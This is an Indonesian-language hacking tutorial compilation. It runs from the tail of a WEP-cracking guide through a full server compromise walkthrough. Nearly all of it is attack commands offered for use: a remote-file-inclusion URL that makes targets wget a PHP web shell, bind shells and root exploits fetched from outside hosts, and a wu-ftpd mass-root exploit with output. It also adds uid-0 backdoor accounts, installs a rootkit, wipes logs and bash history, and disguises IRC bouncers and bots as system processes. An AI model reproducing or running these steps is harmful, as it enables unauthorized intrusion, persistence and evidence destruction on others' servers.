Sampai sejauh ini anda telah melakukan pengumpulan paket yang dibutuhkan untuk menjebol WEP Keys. Langkah terakhir yang harus anda lakukan adalah buka console baru lagi dan ketikkan perintah berikut :

aircrack-ng hasil*.cap

atau apabila anda memiliki aircrack versi terbaru anda dapat juga mengetikkan perintah seperti berikut :

aircrack-ptw hasil-01.cap

Dan tunggulah beberapa menit hingga anda mendapatkan key tersebut Maaf Screenshot yang satu ini lupa saya buat, tapi yang pasti saya berhasil melakukannya dalam waktu 30 Menit dengan perintah aircrack-ptw hasil-01.cap .

Source: Agung Blog

4 Ppasang backd00R

.
install shell php
http://livron.port5.com/mail.php <---------ini source shell
misalnya:
http://www.moonshade.com/modules/My_eGallery/public/displayCategory.php?basepath=http://www.geocities.com/lifron/suntik.txt?&cmd=wget%20http://livron.port5.com/mail.php -O log.php
bila keluar pesan "permission denied" cari lah folder lain yang bisa untuk wget shell.php kita
kalo bisa... buka:
http://www.target.org/modules/My_eGallery/public/log.php


pasang bindtty
###http://student.te.ugm.ac.id/~phoenix03/audit/bindedit.c
gcc -o /var/tmp/bind /var/tmp/bind.c;/var/tmp/bind 4000
diatas kita menggunakan port 4000 sebagai binding port, sekarang cek apakah port
4000 terbuka, scan dengan phnxscan.c yang dibuat penulis, anda dapat mendownload
source kodenya di http://student.te.ugm.ac.id/~phoenix03/tutorial/phnxscan.c. Kompile
dan ekskusi script tadi menggunakan gcc dan scanlah port 4000 servet www.target.com.
myshell~>gcc -o phnxscan phnxscan.c
myshell~> ping -c 2 target.com
PING target.com (210.189.77.28): 56 data bytes
64 bytes from 210.189.77.28: icmp_seq=0 ttl=38 time=428.044 ms
64 bytes from 210.189.77.28: icmp_seq=1 ttl=38 time=428.624 ms
--- target.com ping statistics ---
2 packets transmitted, 2 packets received, 0.0% packet loss
round-trip min/avg/max/std-dev = 428.044/428.334/428.624/0.290 ms
myshell~> phnxscan -p 4000 -s 210.189.77.28
port 4000 (tcp) terbuka
Telnet server target port 4000, jika berhasil maka anda akan disuruh memasukkan
password yang default dari scriptnya changeme
myshell~> telnet 210.189.77.28 4000
Trying 210.189.77.28...
Connected to target.com (210.189.77.28).
Escape character is '^]'.
---------------------------------------------------
#### cd /var/tmp ; wget www.geocities.com/lifron/bindtty -O /tmp/httpd ini biar hasil wgetnya di taro di folder /tmp dg nama file httpd
baru bikin file exekusi
chmod 755 /tmp/httpd
----------------------------------------------------
#### cd /var/tmp ; wget www.renjana.ws/~toa/bindtty
cd /var/tmp ; chmod 755 bindtty
cd /var/tmp ; ./bindtty
----------------------------------------------------
# test pake `uname -a` < kernel 2.4.20 ke bawah yg bisa
wget http://roseofworld.org/shell.tar
tar -zxvf shell.tar; cd webshell; ./1980
# klo uda buka putty > masukkan host > pilih telnet > isi port: 1980
# klo sukses maka akan masuk shell

### pake bind yg laen jika pengen shellnya ada passwd-nya
cd /var/tmp; wget geocities.com/pothei/nmap;chmod 755 nmap; ./nmap
# telnet ke host port 6665 passwd `stimik`

## cd /tmp; wget http://geocities.com/g4ptek/tools/bind.tgz
tar -zxvf bind.tgz;cd .bind; chmod 755 bindtty; ./dssl bindtty
telnet ke host port 6665 passwd `gagal`

## cd /var/tmp; wget http://geocities.com/g4ptek/tools/dns.php
# chmod 755 dns; ./dns
# telnet www.target.com 6029


-*-------------------*-
-*- belajar NgeRoot -*-
-*-------------------*-

### tahap ngeroot di shell yg tadi kita tembus
mkdir /tmp/temp.log
cd /tmp/temp.log
wget http://roseofworld.org/root.tar.gz
tar -zxvf root.tar.gz
cd root
./loginx 1970 1970
# jika tidak mendapat pesan error maka kmu sukses, pointer $ akan brubah menjadi #
# cek dengan `id` jika root jgn lupa bagi2 shellnya :p
### atau bisa ambil exploit di www.malanghack.net/alat/
mkdir /tmp/temp.log;cd /tmp/temp.log
wget http://www.malanghack.net/alat/w00t
chmod 755 w00t
./w00t
# jika ga muncul pesan error: you got root man!!
+----------------------------------------------------------------------------------------+

-*-----------------*-
-*- Cracking Root -*-
-*-----------------*-
Tips:
mkdir .bash <--- untuk membuat direktori bash
cd .bash <--- untuk masuk ke direktori bash
mkdir <--- untuk membuat direktory baru
cd <--- untuk masuk ke direktory yg anda mau
cd / <--- untuk keluar dari suatu direktory
rm -rf <--- untuk menghapus file/direktory
-*-----------------------------------------------*-
1. Tahap Pertama :
Cara instalasi Xpost dan ftp

wget http://cyberborneo.b0x.com/xpost.tgz
wget http://cyberborneo.b0x.com/ftp.tgz
tar -zxvf xpost.tgz
tar -zxvf ftp.tgz

-*------*-

2. Tahap Kedua
cd xpost
cd xwurm/
./scan 213.124
setelah dapat wu-scan.log
./masswu wu-scan.log
Setelah didapat pesan sebagai berikut

Trying get root 213.124.151.113 ...
SUCCESS, YOU HAVE ROOT IN 213.124.151.113 ...
Logged in log-root ...

Itu berarti anda telah dapat akses root di IP 213.124.151.113

-*------*-

3. Tahap Ketiga
Buka new sessiom dari putty ssh anda, login kembali ke shell anda

masuk ke direktory ftp anda

cd ftp
./awu 213.124.151.113 ( ip nya)

apabila anda sukses mendapat akses root nya maka akan keluar pesan sbb:

7350wurm - x86/linux wuftpd <= 2.6.1 remote root (version 0.2.2)
team teso (thx bnuts, tomas, synnergy.net !).

# trying to log into 213.124.151.113 with (ftp/mozilla@) ... connected.
# banner: 220 db-depot01 FTP server (Version wu-2.6.1-16) ready.
# successfully selected target from banner

### TARGET: RedHat 7.1 (Seawolf) [wu-ftpd-2.6.1-16.rpm]

# 1. filling memory gaps
# 2. sending bigbuf + fakechunk
building chunk: ([0x0807314c] = 0x08085f98) in 238 bytes
# 3. triggering free(globlist[1])
#
# exploitation succeeded. sending real shellcode
# sending setreuid/chroot/execve shellcode
# spawning shell
###################################################################

uid=0(root) gid=0(root) groups=50(ftp)
Linux db-depot01 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 unknown

whoami

root <-- berarti anda sedang dalam akses root

-*------*-

4. Tahap Keempat

Add login akses root anda
----------------------------------------------------------------

1. Cara I

(bukan utk redhat 7.2)
/usr/sbin/useradd rampok -u 0 -d /

passwd -d rampok
passwd rampok

su rampok <<--------untuk super user

2. Cara II

kalo mau dapet acces root ketik :

/usr/sbin/useradd crit -u 0 g- 0 -d /etc/crit
abis itu ketik lagi
passwd crit

wuasu666

Kemudian Add User untuk login shell anda

/usr/sbin/adduser html -g wheel -s /bin/bash -d /etc/html
passwd html
fuck666 2X

-*------*-

5. Tahap Kelima

Pasang backdor ke shell baru anda guna menjaga kemungkinan yg tidak di inginkan

wget www.utay-doyan.cc/shv4.tar.gz
tar -zxvf shv4.tar.gz
cd shv4
./setup pass yang dimau port yang dimau

contoh : --> ./setup wuasu 7000
cd /

wget http://cyberborneo.b0x.com/cleaner.tgz
tar -zxvf cleaner.tgz
cd cleaner
./install

Jangan lupa untuk menghapus file backdor anda tadi untuk menghapus jejak

rm -rf cleaner.tgz

rm -rf shv4.tar.gz

-*------*-

6. Tahap Keenam

Hapus jejak ngeroot anda ketik perintah berikut:

rm -f /.bash_history /root/.bash_history /var/log/messages
ln -s /devory
ln -s /dev/null /root/.bash_history
touch /var/log/messages
chmod 600 /var/log/messages
rm -rf /var/log/lastlog
cat > /var/log/lastlog
ctrl d

SELESAI.....


---------------------------------------------------------------------------------
-*-----------------*-
-*- all IN one -*-
-*-----------------*-
Trik membuat PsyBnc, Menghapus file Log, membuat BACK DOOR , ..... << lengkapnya >>


---------------------------------------------------------------------------------
-*------------------------------------------*-
-*- Langkah2 membuat PsyBnc Yang aman :P~ --*-
-*------------------------------------------*-

mkdir "...." <<-- ini dia direktori kita setelah itu kita masuk ke direktori tersebut
cd "...." <<-- masuk ke direktori
wget wget http://www.psychoid.lam3rz.de/psyBNC2.2.1-linux-i86-static.tar.gz
mv psyBNC2.2.1-linux-i86-static.tar.gz .sh
tar -zxvf .sh
mv psybnc .log
cd .log
make
echo "PSYBNC.SYSTEM.PORT1=110" >> user.conf
echo "PSYBNC.SYSTEM.HOST1=*" >> user.conf
echo "PSYBNC.HOSTALLOWS.ENTRY0=*;*" >> user.conf
pwd
/home/scut/..../.log
ketik command:
PATH=$PATH:/home/scut/"...."/.log
mv psybnc "[identd] "
mv scut.conf " "
"[identd] " " "

.-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-.
,----.,----.,-. ,-.,---.,--. ,-.,----.
| O || ,-' \ \/ / | o || \| || ,--'
| _/ _\ \ \ / | o< | |\ || |__
|_| |____/ |__| |___||_| \_| \___|
Version 2.2.1 (c) 1999-2000 the most psychoid and the cool lam3rz Group IRCnet
`-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=tCl=-'
Configuration File:
No logfile specified, logging to log/psybnc.log
Listening on: 0.0.0.0 port 11111
psyBNC2.2.1-cBtITLdDMSNp started (PID 2291)
[scut@d11303 .log]$


ps -x untuk mengetahui proses di background shell
[scut@d11303 .log]$ ps -x
PID TTY STAT TIME COMMAND
31544 ? S 0:16 ./bash
31629 ? S 0:06 sendmail to scut
2212 pts/1 S 0:00 -bash
2291 pts/1 S 0:00 [identd]
2309 pts/1 R 0:00 ps -x
catatan: 2291 pts/1 S 0:00 [identd] <<-- ini adalah background
psybnc anda yang berubah setelah kita lakukan trik tersebut namun jangan keburu gembira dahulu, karena mungkin admin curiga dengan background yang ada di server tersebut dan admin akan mencarinya dengan:

find | grep psybnc <<-- kemungkinan yang dilakukan karena biasanya admin tahu kalau user selalu run psybnc maka akan nampak nama nama psybnc anda
./log/psybnc.log
./log/psybnc.log.old
./psybncchk
./psybnc.pid

Untuk itu kita perlu mengganti nama nama tersebut dengan yang lain semisal
[scut@d11303 .log]$ mv psybnc.pid .log
[scut@d11303 log]$ mv psybnc.log .sh
[scut@d11303 log]$ mv psybnc.log.old .mud

Dengan cara tersebut kemungkinan sang admin nggak akan curiga terhadap background yang ada di server anda ;) dan yang terakhir jangan lupa bersihkan log anda dengan mengetik command:
rm -f /.bash_history /root/.bash_history /var/log/messages
ln -s /dev/null /.bash_history
ln -s /dev/null /root/.bash_history
touch /var/log/messages
chmod 600 /var/log/messages
Atau bisa juga menggunakan remove.c yang ada di situs k-elektronik :) selamat mencoba

-*------------------------------------------*-
-*- Langkah2 membuat PsyBnc II --*-
-*------------------------------------------*-
wget http://www.geocities.com/g4ptek/tools/psy.tar.gz
tar -zxvf psy.tar.gz
rm -rf psy.tar.gz
cd .cgi;
./config 21221;-----------> port ubah sesuai keinginan
./fuck;./run
.-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-.
,----.,----.,-. ,-.,---.,--. ,-.,----.
| O || ,-' \ \/ / | o || \| || ,--'
| _/ _\ \ \ / | o< | |\ || |__
|_| |____/ |__| |___||_| \_| \___|
Version 2.2.1 (c) 1999-2000 the most psychoid and the cool lam3rz Group IRCnet
`-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=tCl=-'
Configuration File:ssstt
No logfile specified, logging to log/psybnc.log
Listening on: 0.0.0.0 port 21221
psyBNC2.2.1-cBtITLdDMSNp started (PID 2291)
# usage:
# buka mirc, setting identd bebas, nick bebas
ketik /server www.target.com 21221

-*------------------------------------------*-
-*- Langkah2 membuat PsyBnc II Freebsd --*-
-*------------------------------------------*-
# wget http://www.geocities.com/g4ptek/tools/bnc.tar.gz
# tar -zxvf bnc.tar.gz
# rm -rf bnc.tar.gz
# cd .ls
# chmod 755 ls
# ./ls
-*-----------------------------------*-
-*- Cara Mudah Untuk membuat BOT I -*-
-*-----------------------------------*-

NB: BOT Ini akan otomatis jalan pada server dalnet " Husus Untuk dalnet server "
1. wget brendanspaar.com/modules/coppermine/albums/kinabot.tar.gz
atau brendanspaar.com/modules/coppermine/albums/kinabot.tar.bz2 <--untuk tambahan creat.tcl
2. tar -zvxf kinabot.tar.gz untuk kinabot.tar.gz
tar -jxvf kinabot.tar.bz2 untuk kinabot.tar.bz2
3. cd .kin
4. ./creat fileconf nick ident IP channel owner

contoh: ./creat defaced s4nd4l_j3p1t s4nd4l 212.88.174.3 defaced g4ptek
defaced.................... file conf yg akan dibuat (akan terbuat dgn sendirinya)
s4nd4l_j3p1t ...............nick bot
s4nd4l ...................ident bot
212.88.174.3 .......IP shell defaced ..................... nama channel, jangan pake #
g4ptek ................ nick owner

catatan: bila nick mengandung karakter yg gak biasa mis: ` maka sebelum karakter tsb tambahkan tanda \ (backslash)
contoh: mich`keren -> mich\`keren

5. ./eggdrop -m fileconf
atau ./run fileconf fakename
fakename dapat dilihat dgn perintah ps x, cari aja proses yg paling banyak terlihat

contoh ./run a.txt /usr/local/apache/bin/httpd ( /usr/local/apache/bin/httpd = fake namenya)
Udah deh! tunggu aja di channel, ato whois aja nicknya.
Bila ingin tambahkan tcl lain seperti creat.tcl :

2. ./tcl -t fileconf creat.tcl
contoh: ./tcl -t a creat.tcl ( lihat keterangan dengan perintah ./tcl )
untuk penggunaan bisa diliat dengan command/perintah !creat dichannel

Source: http://geocities.com/g4ptek/tools/bot.tar.gz